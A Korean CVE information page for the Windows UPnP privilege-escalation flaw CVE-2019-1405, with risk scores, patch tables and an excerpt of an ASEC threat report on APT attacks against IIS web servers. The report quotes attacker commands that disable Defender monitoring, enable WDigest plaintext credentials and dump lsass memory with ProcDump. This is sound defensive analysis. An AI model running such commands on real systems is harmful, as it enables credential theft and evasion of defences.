CVE-2019-1405
위험도 높음 실제 악용 (KEV) 랜섬웨어 악용 ASEC 언급 6건
- 우선순위 이 사이트의 참고 점수
- 15.21
- 위험도 CVSS 3.1 · 0~10점
- 7.8
- 악용 가능성 EPSS · 30일 안에 공격에 쓰일 확률
- 30.2%
- 공개일 NVD
- 2019-11-12
설명 NVD 원문
Windows Universal Plug and Play(UPnP) 서비스가 COM 객체 생성을 부적절하게 허용할 때 권한 상승 취약점이 존재한다. 이는 'Windows UPnP Service Elevation of Privilege Vulnerability'로도 불린다.
Claude 로 기계 번역한 글입니다. 정확한 내용은 영어 원문을 확인하세요.
영어 원문
An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka 'Windows UPnP Service Elevation of Privilege Vulnerability'.
위험도 세부 항목 CVSS 3.1
- 공격 경로
- 로컬(장비 안) AV:L
- 공격 난이도
- 낮음(쉬움) AC:L
- 필요한 권한
- 일반 사용자 PR:L
- 사용자 행동 필요
- 필요 없음 UI:N
- 영향 범위
- 그 제품 안 S:U
- 정보 유출(기밀성)
- 높음 C:H
- 데이터 변조(무결성)
- 높음 I:H
- 서비스 중단(가용성)
- 높음 A:H
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
조치 방법 55행
Microsoft 조치 (KB 업데이트) 55행
| 출처 | 플랫폼·제품 | 방식 | 패키지 | 수정된 버전 | 권고문RHSA 등 | 내용 |
|---|---|---|---|---|---|---|
| Microsoft | Windows 10 for 32-bit Systems | 패치(업데이트) | KB4525232 | KB4525232 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 for x64-based Systems | 패치(업데이트) | KB4525232 | KB4525232 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1607 for 32-bit Systems | 패치(업데이트) | KB4525236 | KB4525236 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1607 for x64-based Systems | 패치(업데이트) | KB4525236 | KB4525236 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1709 for 32-bit Systems | 패치(업데이트) | KB4525241 | KB4525241 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1709 for ARM64-based Systems | 패치(업데이트) | KB4525241 | KB4525241 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1709 for x64-based Systems | 패치(업데이트) | KB4525241 | KB4525241 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1803 for 32-bit Systems | 패치(업데이트) | KB4525237 | KB4525237 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1803 for ARM64-based Systems | 패치(업데이트) | KB4525237 | KB4525237 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1803 for x64-based Systems | 패치(업데이트) | KB4525237 | KB4525237 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1809 for 32-bit Systems | 패치(업데이트) | KB4523205 | KB4523205 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1809 for ARM64-based Systems | 패치(업데이트) | KB4523205 | KB4523205 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1809 for x64-based Systems | 패치(업데이트) | KB4523205 | KB4523205 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1903 for 32-bit Systems | 패치(업데이트) | KB4524570 | KB4524570 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1903 for ARM64-based Systems | 패치(업데이트) | KB4524570 | KB4524570 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 10 Version 1903 for x64-based Systems | 패치(업데이트) | KB4524570 | KB4524570 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows 7 for 32-bit Systems Service Pack 1 | 패치(업데이트) | KB4525233 | KB4525233 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows 7 for 32-bit Systems Service Pack 1 | 패치(업데이트) | KB4525235 | KB4525235 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows 7 for x64-based Systems Service Pack 1 | 패치(업데이트) | KB4525233 | KB4525233 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows 7 for x64-based Systems Service Pack 1 | 패치(업데이트) | KB4525235 | KB4525235 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows 8.1 for 32-bit systems | 패치(업데이트) | KB4525243 | KB4525243 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows 8.1 for 32-bit systems | 패치(업데이트) | KB4525250 | KB4525250 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows 8.1 for x64-based systems | 패치(업데이트) | KB4525243 | KB4525243 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows 8.1 for x64-based systems | 패치(업데이트) | KB4525250 | KB4525250 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows RT 8.1 | 패치(업데이트) | KB4525243 | KB4525243 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for 32-bit Systems Service Pack 2 | 패치(업데이트) | KB4525234 | KB4525234 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for 32-bit Systems Service Pack 2 | 패치(업데이트) | KB4525239 | KB4525239 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) | 패치(업데이트) | KB4525234 | KB4525234 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) | 패치(업데이트) | KB4525239 | KB4525239 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for Itanium-Based Systems Service Pack 2 | 패치(업데이트) | KB4525234 | KB4525234 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for Itanium-Based Systems Service Pack 2 | 패치(업데이트) | KB4525239 | KB4525239 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for x64-based Systems Service Pack 2 | 패치(업데이트) | KB4525234 | KB4525234 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for x64-based Systems Service Pack 2 | 패치(업데이트) | KB4525239 | KB4525239 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) | 패치(업데이트) | KB4525234 | KB4525234 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) | 패치(업데이트) | KB4525239 | KB4525239 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1 | 패치(업데이트) | KB4525233 | KB4525233 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1 | 패치(업데이트) | KB4525235 | KB4525235 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2008 R2 for x64-based Systems Service Pack 1 | 패치(업데이트) | KB4525233 | KB4525233 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2008 R2 for x64-based Systems Service Pack 1 | 패치(업데이트) | KB4525235 | KB4525235 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) | 패치(업데이트) | KB4525233 | KB4525233 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) | 패치(업데이트) | KB4525235 | KB4525235 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2012 | 패치(업데이트) | KB4525246 | KB4525246 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2012 | 패치(업데이트) | KB4525253 | KB4525253 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2012 (Server Core installation) | 패치(업데이트) | KB4525246 | KB4525246 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2012 (Server Core installation) | 패치(업데이트) | KB4525253 | KB4525253 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2012 R2 | 패치(업데이트) | KB4525243 | KB4525243 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2012 R2 | 패치(업데이트) | KB4525250 | KB4525250 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2012 R2 (Server Core installation) | 패치(업데이트) | KB4525243 | KB4525243 | 월간 롤업 · 재시작 필요 | |
| Microsoft | Windows Server 2012 R2 (Server Core installation) | 패치(업데이트) | KB4525250 | KB4525250 | 보안 전용 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2016 | 패치(업데이트) | KB4525236 | KB4525236 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2016 (Server Core installation) | 패치(업데이트) | KB4525236 | KB4525236 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2019 | 패치(업데이트) | KB4523205 | KB4523205 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server 2019 (Server Core installation) | 패치(업데이트) | KB4523205 | KB4523205 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server, version 1803 (Server Core Installation) | 패치(업데이트) | KB4525237 | KB4525237 | 보안 업데이트 · 재시작 필요 | |
| Microsoft | Windows Server, version 1903 (Server Core installation) | 패치(업데이트) | KB4524570 | KB4524570 | 보안 업데이트 · 재시작 필요 |
CISA 조치 권고 KEV
제조사 안내에 따라 업데이트를 적용하세요.
영어 원문
Apply updates per vendor instructions.
미국 연방기관 조치 기한: 2022-04-05
살펴볼 장비 초안
공격 대상: 운영체제 (서버·PC 공통). '이 장비에서 살펴볼 취약점' 이라는 분류이며, 장비가 탐지한다는 확인이 아닙니다.
| 장비 보기 | 정도 | 분류 이유 |
|---|---|---|
| 서버 행위 (EDR·감사 로그) | 주 | 사용자 행동 없는 로컬 공격 (권한 상승 등) |
단계별 판정 예시 환경
시나리오 미작성 — 이 CVE 는 단계별 판정을 하지 않았습니다. 안전하다는 뜻이 아닙니다.
출처별 내용 7건
CISA KEV Microsoft Windows Universal Plug and Play (UPnP) Service Privilege Escalation Vulnerability 2022-03-15
Apply updates per vendor instructions.
ASEC 국내 기업들의 웹 서비스를 대상으로 하는 APT 공격 사례 분석 2023-08-14
웹 서버는 불특정 다수의 사용자들에게 웹 서비스를 제공하기 위한 목적으로 외부에 공개되어 있기 때문에 공격자들의 대표적인 공격 대상이 되고 있다. AhnLab Security Emergency response Center(ASEC)은 취약점이 패치되지 않았거나 부적절하게 관리되고 있는 취약한 웹 서버들을 대상으로 한 공격을 모니터링하고 있다. 본 포스팅에서는 수년간 지속적으로 국내 기업들의 웹 서버를 공격 중인 APT 공격 사례를 정리하였으며, 공격에 사용된 다양한 악성코드 및 도구들의 IoC도 함께 공개한다. 공격자는 대부분의 감염 시스템들에서 “tripod”라는 이름의 계정을 악용하고 있으며 이러한 점은 해당 공격자를 특정할 수 있는 몇 가지 특징들 중 하나이다. Figure 1. 대부분의 감염 시스템들에서 확인되는 tripod 사용자 계정 1. 개요 윈도우 서버에서 웹 서비스를 제공하는 웹 서버들로는 대표적으로 Internet Information Services(IIS) 웹 서버와 아파치 톰캣 웹 서버, JBoss, Nginx 등이 존재한다. 이러한 웹 서버들은 취약점이 패치되지 않았거나 부적절하게 관리되고 있는 경우 지속적으로 다양한 공격자들의 공격 대상이 된다. ASEC에서는 취약한 아파치 톰캣 웹 서버나 [1] JBoss 기반의 PACS(Picture Archiving and Communication System) 서버를 공격해 [2] 메타스플로잇 미터프리터를 설치한 공격 사례를 공개한 바 있다. 윈도우 서버를 사용 중인 국내 기업들의 경우 IIS 웹 서버의 비중이 높으며 이에 따라 IIS 서버를 대상으로 하는 공격 또한 다수 확인된다. 과거 중국 기반의 공격 그룹인 달빗 공격 사례나 [3] 국내 기업의 정보를 탈취하는 중국 해커 조직의 공격 사례에서도 [4] IIS 웹 서버가 공격 대상이 되었다. 이뿐만 아니라 Kimsuky 공격 그룹이 [5] IIS 웹 서버를 공격하거나 Lazarus 공격 그룹이 감염 이후 악성코드 배포 서버로 사용한 사례도 [6] 존재한다. 이번에 확인된 공격자 또한 윈도우 IIS 웹 서버를 공격 대상으로 하였다. 공격은 최소한 2019년부터 확인되고 있으며 Korea Internet & Security Agency(KISA)에서 2021년 “비정상 광고삽입 침해사고 사례 및 대응방안” [7] 이라는 주제의 보고서를 발간한 바 있다. 해당 보고서에 따르면 공격자는 특정 기업의 홈페이지를 공격해 무단으로 광고 코드를 삽입하였다. 공격자는 웹 서버의 방치된 게시판에 존재하는 파일 업로드 취약점을 통해 웹셸을 설치하였고 이후 최종적으로 광고 삽입 인프라를 구축하여 방문자에게 광고를 노출시켰다. 공격자는 탐지를 우회하기 위해 저녁 시간이나 서버에 관리자가 로그오프할 때 등 특정 조건이 만족할 때 광고 코드가 십입된 페이지로 변경하였으며, 아침이나 서버에 관리자가 로그온 할 때 등의 조건이 만족할 경우에는 다시 정상 페이지로 복구하는 치밀함을 보였다. ASEC에서는 공격자가 적어도 2019년부터 최근까지도 국내 기업들을 대상으로 지속적인 공격을 진행하고 있는 것을 확인하였다. 공격이 확인된 국내 업체들로는 호텔, 통신 장비 제조사, 온라인 쇼핑몰, 외국계 제조업 등 다양하다. 공격 과정에서 대부분 알려진 악성코드 및 도구들이 사용되고 있음에 따라 다양한 공격들 중에서 해당 공격자를 특정하는데 어려움이 존재하지만 공격에 사용된 몇몇 도구들이 중국어 버전인 것이 확인되어 적어도 공격자가 중국어에 익숙한 사용자라는 사실을 추정하고 있다. 또한 KISA의 보고서의 사례에서는 공격자가 최종적으로 정상 웹 서비스에 광고를 삽입하는 목적을 보였다. 하지만 ASEC에서 확인된 사례에서는 광고와 관련된 파일 및 로그가 확인되지 않고 볼륨 섀도우 복사본을 삭제하는 행위가 확인되는 등 공격자가 감염 시스템에 랜섬웨어를 설치하는 등 다른 목적을 가질 수 있는 가능성이 보인다. 2. 공격자 분석 취약한 시스템들은 다양한 공격자들의 공격 대상이 된다. 특히 IIS 웹 서버나 MS-SQL 서버의 경우 지속적으로 다른 공격자들이 동일한 시스템을 공격하는 경향이 있다. 즉 여러 악성코드 및 공격 로그들 중에서 특정 공격자의 행위만을 추출하기에는 한계가 존재한다. 여기에서는 악성코드 및 공격 로그들 중에서 최대한 해당 공격자 만의 고유한 특징들을 토대로 짧은 기간 동안 이루어진 공격들을 기반으로 정리하였다. 하지만 동일한 시점에 다른 공격자가 유사한 공격을 수행했을 가능성 즉 다른 공격자의 악성코드 및 공격 로그들이 함께 포함되었을 수 있다는 점을 참고하자. 2.1. 공격 사례들의 공통점 일반적으로 IIS 웹 서버를 대상으로 하는 공격 사례에서는 웹셸, Potato, 권한 상승 취약점 PoC, Ladon 등 공통적인 악성코드들이 확인된다. 이러한 도구들은 대부분 중국어를 사용하는 공격자들이 공격에 자주 사용하는 경향이 있지만 인터넷에 공개되어 있기 때문에 파일만으로 공격자를 특정하는데 어려움이 있다. 하지만 공격자가 파일 진단을 우회하기 위해 악성코드들을 VMP로 패킹하거나 직접 개발하여 공격에 사용하는 사례가 존재하며 이는 해당 공격자 만의 특징이기 때문에 이를 기반으로 공격 사례를 분류하였다. 이외에도 공격자는 주로 악성코드들을 다음 경로에 생성한다는 점이 특징이다. %ALLUSERSPROFILE%\Microsoft\DeviceSync\ %SystemRoot%\debug\WIA\ 또한 Sy_Runas가 공격에 사용되는데 이는 웹셸을 통해 특정 사용자의 권한으로 명령을 실행하는 도구이다. Sy_Runas를 공격에 사용하는 사례는 현재 기준으로 흔하게 사용되지는 않으며 주로 다음과 같은 파일명으로 생성되는 점이 특징이다. %SystemRoot%\debug\WIA\wiatrace.log Figure 2. Sy_Runas 이외에도 국내 특정 업체의 웹 서버를 악성코드 다운로드 서버로 사용하고 있다. 공격자는 해당 업체를 공격해 악성코드들을 업로드하였고 이후 다른 업체들을 공격할 때 이를 다운로드해 사용하는 것으로 추정된다. 참고로 해당 주소는 추후 제어 유지를 위해 NetCat의 C&C 서버로도 사용되었다. 물론 가장 큰 특징은 “5. 지속성 유지” 항목에서 다루겠지만 지속성 유지를 위해 웹셸을 추가적으로 설치하는 악성코드가 확인된다는 점이다. 이에 따라 감염 시스템들은 작업 스케줄러에 해당 Batch 파일을 실행하는 명령이 등록되어 있다. 공격자는 감염 시스템을 장악한 이후 Administrator의 계정 정보를 탈취해 사용하거나 UserClone으로 Guest 계정에 Administrator 권한을 부여해 사용하기도 하지만 “tripod”라는 동일한 계정명이 다양한 시스템들에서 확인되는 것으로 보아 “tripod” 계정을 생성해 사용하는 것으로 추정된다. 2.2. 공격에 사용된 중국어 도구들 공격에 사용된 도구들 중 다수는 이미 공개되어 있는 도구들이며 공격자가 직접 제작한 것으로 추정되는 파일들도 모두 PDB와 같은 부가적인 정보들이 존재하지 않는다. 하지만 공격자가 공격에 사용한 도구나 직접 제작한 악성코드들에서 중국어 환경과의 연관성이 확인되었다. 공격자는 지속성 유지 과정에서 WinRAR를 사용해 웹셸을 설치한다. 몇몇 사례에서는 일반적인 영문 버전의 WinRAR가 사용되었지만 2019년도에 확인된 공격에서는 중국어 버전의 rar가 사용된 이력이 확인된다. Figure 3. 중국어 버전의 WinRAR.exe 공격자는 공격 과정에서 테스트 목적의 프로그램을 제작하여 사용한 사례가 존재한다. 테스트 프로그램은 WinRAR SFX 형태의 실행 파일이며 어떤 파일은 단순하게 동일한 경로에 “test.txt”라는 이름의 빈 파일을 생성하는 행위가 전부지만 어떤 파일은 동일한 경로에 “test”라는 이름의 빈 파일 생성 외에도 다음 경로에 존재하는 “sd2.bat” 파일을 실행하는 명령이 함께 포함되어 있다. 참고로 해당 경로는 공격에 사용되는 경로이며 만약 해당 경로에 Batch 파일이 존재할 경우 실행시키는 Launcher 기능을 담당할 수도 있다. > “C:\Windows\System32\cmd.exe” /c C:\WINDOWS\System32\spool\drivers\color\sd2.bat Figure 4. 테스트 목적으로 추정되는 WinRAR SFX 실행 파일 위의 WinRAR SFX 실행 파일은 중국어 버전으로 제작되었으며 실행 파일의 리소스 영역을 보면 중국어 버전의 WinRAR 문자열들을 확인할 수 있다. Figure 5. 중국어 버전으로 제작된 WinRAR SFX 실행 파일 3. 초기 침투 KISA의 보고서에 따르면 공격자는 피해 기업의 홈페이지에 파일 업로드 취약점을 이용해 웹셸을 첨부 파일로 업로드하였다. 공격자는 최초로 업로드한 1차 웹셸을 이용해 업로드 경로가 아닌 일반 경로에 2차 웹셸(1.asp)를 추가적으로 업로드하였다고 하며, 자사 AhnLab Smart Defense (ASD) 로그의 진단 로그를 보면 KISA의 보고서와 유사한 파일명인 “1.aspx”가 존재한다. 웹셸 경로명 D:\***Root_DB\1.aspx D:\**trust\www\photo_upload..1.aspx D:\**trust\www\photo_upload\1(0).aspx E:\****Hotel\upload\thanks\test.asp C:\***Pay15\source\source.asp Table 1. 탐지된 웹셸들의 경로명 공격자는 이후 2차 웹셸로 권한 상승 도구인 Potato 악성코드와 UserClone, 미미카츠 등의 악성코드들을 생성하였다고 한다. 실제로 자사 ASD 로그를 보면 웹셸 업로드 이후 다양한 악성코드들이 업로드된 이력이 존재한다. 다음은 공격 과정에서 확인된 웹셸들 중 수집된 유형들로서 실제 공격에서는 아래의 유형들을 제외하고도 훨씬 많을 것으로 추정된다. Figure 6. 공격에 사용된 것으로 추정되는 웹셸들 4. 권한 상승 4.1. Potatos Potato 악성코드들은 권한 상승 기능을 담당하는 악성코드이며 권한 상승 방식에 따라 JuicyPotato, RottenPotato, SweetPotato 등 다양한 유형들이 존재한다. 공격자들은 웹셸이나 사전 공격을 통해 감염 시스템을 제어할 수 있다고 하더라도 w3wp.exe 프로세스가 적절한 권한이 존재하지 않기 때문에 원하는 악성 행위를 수행할 수 없다. 이는 MS-SQL 서버의 sqlservr.exe 프로세스도 동일한데 이러한 문제를 해결하기 위해 공격자들은 공격 과정에서 권한 상승 악성코드들을 함께 사용하는 경향이 있다. 특히 IIS 웹 서버나 MS-SQL 데이터베이스 서버를 대상으로 하는 공격에서는 주로 Potato 권한 상승 악성코드들이 사용된다. Potato는 특정 권한이 활성화된 일부 프로세스들을 악용하는 방식으로 권한을 상승하며, 이후 공격자는 상승된 권한으로 악성 행위를 수행할 수 있다. 공격자는 BadPotato, EfsPotato, GodPotato, JuicyPotato, JuicyPotatoNG, PetitPotato, PrintNotifyPotato, SharpEfsPotato, SweetPotato 등 대부분의 Potato 유형들을 공격에 사용하였다. 최근에는 국내 특정 업체의 웹 서버에 악성코드들을 업로드하고 다른 시스템에 대한 공격 과정에서 이를 다운로드해 사용하였다. 공격자는 이미 제어를 탈취한 시스템을 악성코드 배포 서버로 활용하고 있는 것으로 보인다. Figure 7. 웹셸을 이용해 Potato 악성코드를 설치하는 로그 공격에 사용된 Potato 악성코드들 중에는 이미 수년 전부터 확인되는 파일들뿐만 아니라 공격자가 직접 VMProtect로 패킹한 파일들도 존재한다. 최근에는 깃허브에 공개되어 있는 패킹 도구인 “go-shellcode”로 패킹된 Potato 악성코드들이 공격에 사용되고 있다. [8] “go-shellcode”는 Go 언어로 개발되어 있으며 다음과 같이 다양한 기법들을 이용해 셸코드를 실행시켜주는 도구이다. Figure 8. go-shellcode 패커 최근 공격자들은 파일 진단을 우회하기 위한 목적으로 Go 언어로 악성코드를 패킹하는 경향이 있으며, “go-shellcode” 또한 공격자가 지정한 악성코드를 암호화해서 가지고 있다가 실행 중 메모리 상에서 복호화하여 실행해주는 도구이다. 아래 그림의 왼쪽은 “go-shellcode”에서 EtwpCreateEtwThread() 함수를 이용해 셸코드를 실행하는 루틴이며 오른쪽은 CreateFiber() 함수를 이용해 셸코드를 실행하는 루틴이다. 공격자는 Potato 악성코드들을 “go-shellcode”의 코드들을 이용해 패킹하였다. Figure 9. 패킹된 Potato 악성코드들 공격자는 Potato 악성코드들을 이용해 다양한 명령들을 실행하였으며, 로그들 중에서는 윈도우 디펜더의 탐지를 우회하기 위한 명령도 확인된다. e:\win64_*****_client\client\stage\cmd.exe /c cd /d c:\quarantine_mz\& etwpcreateetwthread1.gif -t * -p c:\windows\system32\cmd.exe -a “/c powershell set-mppreference -disablerealtimemonitoring $true” -l 1500& echo [s]&cd&echo+[e] 4.2. 기타 권한 상승 악성코드 공격자가 권한 상승을 위해 대부분 potato 악성코드들을 사용하였지만 이외에도 PrintSpoofer나 취약점 PoC 악성코드들도 다수 확인된다. 특히 PrintSpoofer 악성코드들은 대부분의 감염 시스템들에서 확인되는 것으로 보아 공격자는 권한 상승 목적으로 Potato 악성코드들과 함께 PrintSpoofer를 주로 사용하는 것으로 보인다. Figure 10. PrintSpoofer 권한 상승 도구 물론 이외에도 COMahawk (CVE-2019-1405, CVE-2019-1322) [9] , CVE-2020-0787 [10] , IIS LPE (by k8gege) [11] 등 다양한 도구들도 공격에 사용되고 있다. 5. 지속성 유지 5.1. 추가 웹셸 설치 KISA의 보고서에 따르면 공격자는 “CredentialTask”, “CertificateTask”라는 작업을 등록하여 관리자의 퇴근 시간대에 기업의 홈페이지에서 무단 광고 페이지를 노출시켰다. 등록된 작업은 Batch 파일을 실행시키며 이것이 웹셸을 설치하고 광고 페이지를 등록하는 기능을 담당한다. 무단 광고는 특정 시간대에 홈페이지의 소스 코드를 광고 코드가 삽입된 스크립트로 변경하거나 다시 원복 시키는 방식으로 이루어진다. 현재 조사 대상 시스템의 경우 작업 스케줄러에 의해 실행되는 Batch 파일의 이름은 “winrmr.cmd”이며 설정 파일 “SCFConfig.dat”를 읽어와 악성 행위를 수행한다. 참고로 해당 시스템에서 공격자는 무단 광고를 노출시키는 기능은 활성화하지 않은 것으로 추정되는데 이는 설정 파일에 웹셸을 담당하는 첫 번째 라인만 존재할 뿐 광고가 삽입된 웹페이지에 대한 다른 라인들은 존재하지 않기 때문이다. 또한 설정 파일에 지정된 압축 파일 “winrnr.cmd”에도 웹셸 파일만 존재하고 광고가 삽입된 웹페이지 파일들은 존재하지 않는다. SCF1.dat|”D:\***demo\www\cscenter\ajaxNoticefaq.asp”|AA3A20597084944FDCBE1C3894FD7AB5 Figure 11. 광고 삽입 페이지 관련 설정이 포함된 설정 파일 – 출처 (KISA 보고서) Batch 파일은 압축 파일 “winrnr.cmd” 안에 저장되어 있는 웹셸 “SCF1.dat”의 MD5를 구한 후 설정 파일의 3번째 필드에 존재하는 값과 비교하여 검사한다. 해시가 동일할 경우 두 번째 필드에 지정된 경로로 웹셸을 복사하고 권한을 설정한다. Figure 12. 복사한 웹셸에 권한을 설정하는 루틴 이러한 과정을 통해 시스템에 주기적으로 웹셸이 설치되며 공격자는 이를 이용해 감염 시스템을 제어할 수 있다. 웹셸은 정상 스크립트로 보이는 주석의 맨 아래에 삽입되어 있다. Figure 13. 새로운 경로에 생성된 웹셸 웹셸 설치 경로 C:\Webservice\****do\board\notice\board_write.asp C:\WebService\****do\products\inquiry\board_view.asp d:\*****cokr\www\member\login.asp d:\*****shop\www\product\product.asp d:\style\www\assets\fontawesome\font\font.asp d:\*****bie\www\about\index.asp d:\*****allen\www\customer_service\notice.asp D:\***demo\www\cscenter\ajaxNoticefaq.asp E:\****Hotel\include\check8.asp E:\****no\www\iprice\iprice.asp Table 2. 지속성 유지를 위한 웹셸 설치 경로 5.2. 권한 복사 악성코드 공격자는 권한 복사 악성코드를 이용해 Guest 계정에 Administrator 계정의 권한을 부여하였다. 이는 레지스트리에 존재하는 SAM 키의 F 값을 복사하는 방식으로 이루어진다. SAM 키의 F 값에는 RID를 포함한 정보가 저장되는데 Guest 계정의 RID 값을 Administrator 계정의 RID 값으로 변경하여 Guest 계정을 사용하는 공격자가 관리자 권한으로 악의적인 행위를 수행할 수 있게 된다. Figure 14. 권한 복사 도구 5.3. UserClone UserClone은 관리자 그룹의 계정을 생성하거나 특정 계정의 권한을 다른 계정으로 복사하는 기능을 제공하는 도구이다. /Clone 옵션을 사용할 경우 두 번째 인자로 전달받은 계정의 권한을 첫 번째 인자로 전달받은 계정에 복사하는데 위에서 다룬 권한 복사 악성코드와 동일한 방식이 사용된다. 실제 KISA의 보고서에서도 공격자가 Guest 계정의 권한을 Administrator 계정의 권한으로 변경하기 위해 UserClone을 사용했던 내용이 존재한다. Figure 15. UserClone 도구 6. 자격 증명 정보 수집 6.1. 미미카츠 / ProcDump 공격자는 이후 현재 감염 시스템에 존재하는 자격 증명 정보들을 수집하기 위해 미미카츠를 설치하였다. 위와 같이 직접 관리자 계정을 생성하거나 UserClone 도구를 이용해 권한을 상승시키기도 하지만 공격 과정에서 Administrator 계정을 악용하는 로그가 확인되는 것을 보면 탈취한 계정을 사용하기도 하는 것으로 보인다. 미미카츠는 윈도우 운영체제 환경에서 자격 증명 정보를 추출하는 기능을 지원하는 도구이다. 윈도우 시스템에 존재하는 평문 비밀번호나 해시 정보를 추출해 줄 뿐만 아니라 획득한 자격 증명 정보를 이용한 측면 이동 공격도 지원한다. 이에 따라 기업 내부 네트워크를 장악하여 정보를 탈취하거나 랜섬웨어를 설치하기 위한 수단으로 자주 사용되고 있다. 참고로 최신 윈도우 환경에서는 기본적으로 WDigest 보안 패키지를 이용한 평문 비밀번호 획득이 불가능하며, UseLogonCredential 레지스트리 키를 설정해야 평문 비밀번호를 얻을 수 있다. 이에 따라 공격자는 UseLogonCredential 레지스트리 키를 추가하기 위해 다음과 같은 명령을 실행하였다. > reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 일반적으로 미미카츠는 현재 실행 중인 lsass.exe 프로세스의 메모리를 읽어와 복호화하여 자격 증명 정보를 구하지만 메모리 덤프 파일이 존재할 경우 이를 인자로 전달받아 자격 증명 정보를 구할 수 있다. 최근 공격자들은 보안 제품의 탐지를 우회하기 위해 정상 프로그램인 Sysinternals 사의 ProcDump를 이용하기도 한다. 미미카츠와 같은 악성코드가 lsass.exe 프로세스의 메모리에 접근하는 것이 불가할 경우 대신 정상 프로그램인 ProcDump로 메모리를 덤프하여 파일로 생성하고 이를 미미카츠로 읽어 복호화하는 방식이다. 다음과 같이 ProcDump를 이용해 lsass.exe 프로세스의 메모리를 덤프하는 명령이 확인되는 것을 보면 공격자 또한 이러한 방식으로 미미카츠를 사용한 것으로 추정된다. 경로명 인자 E:\****Hotel\faq\f.asp -accepteula -ma lsass.exe e:\****hotel\faq\lsass.dmp %ALLUSERSPROFILE%\microsoft\devicesync\procdump64.exe -accepteula -ma lsass c:\programdata\microsoft\devicesync\lsass.dmp Table 3. ProcDump를 이용한 자격 정보 탈취 6.2. Runas 악성코드들 Runas 유형의 악성코드들은 인자로 특정 사용자의 계정 정보를 전달받아 해당 계정의 권한으로 명령을 실행하는 기능을 담당한다. 이러한 악성코드들로는 RunasCs나 Sy_Runas가 있으며 공격자는 두 가지 모두 공격에 사용하고 있다. 로그 상으로는 Sy_Runas의 비중이 더 높지만 닷넷으로 개발된 RunasCs 또한 대부분의 시스템들에서 함께 확인된다. Figure 16. RunasCs 도구 공격자는 웹셸을 이용해 명령을 실행할 때 Potato와 같은 권한 상승 도구들을 사용하거나 Runas 악성코드들을 사용한다. Runas를 사용할 때는 미미카츠를 통해 수집한 기존 계정의 자격 증명 정보를 이용하기도 하고 UserClone을 통해 상승된 권한을 갖는 Guest 계정을 이용하기도 하며 직접 추가한 것으로 추정되는 계정을 사용하기도 한다. 공격 과정에서는 이렇게 다양한 계정들이 사용되지만 눈에 띄는 계정으로는 “tripod” 계정이 있다. 해당 계정은 대부분의 감염 